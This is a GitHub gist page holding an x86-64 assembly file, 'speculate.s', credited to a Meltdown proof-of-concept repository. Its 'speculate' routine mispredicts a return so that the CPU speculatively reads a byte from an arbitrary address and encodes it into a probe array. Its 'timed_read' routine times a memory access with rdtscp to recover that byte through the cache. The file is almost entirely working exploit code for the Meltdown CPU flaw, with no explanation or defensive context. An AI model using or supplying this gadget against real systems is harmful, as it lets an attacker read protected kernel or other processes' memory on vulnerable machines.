Skip to content

Instantly share code, notes, and snippets.

@tlatkdgus1
Last active January 15, 2018 07:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tlatkdgus1/6df379f7c8d61c7835c419e39192e4fb to your computer and use it in GitHub Desktop.
Save tlatkdgus1/6df379f7c8d61c7835c419e39192e4fb to your computer and use it in GitHub Desktop.
.file "speculate.s"
.intel_syntax noprefix
.text
.globl speculate
.type speculate, @function
speculate:
mfence
call herring
movzx eax, byte ptr [rdi]
shl eax, 12
movzx eax, byte ptr [rsi+rax]
herring:
xorps xmm0, xmm0
sqrtpd xmm0, xmm0
sqrtpd xmm0, xmm0
sqrtpd xmm0, xmm0
sqrtpd xmm0, xmm0
movd eax, xmm0
lea rsp, [rsp+rax+8]
ret
.globl timed_read
.type timed_read, @function
timed_read:
rdtscp
shl rdx, 32
or rax, rdx
mov rsi, rax
mov al, [rdi]
rdtscp
shl rdx, 32
or rax, rdx
sub rax, rsi
ret
.section .note.GNU-stack, "", @progbits
ref : https://github.com/corsix/meltdown-poc
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment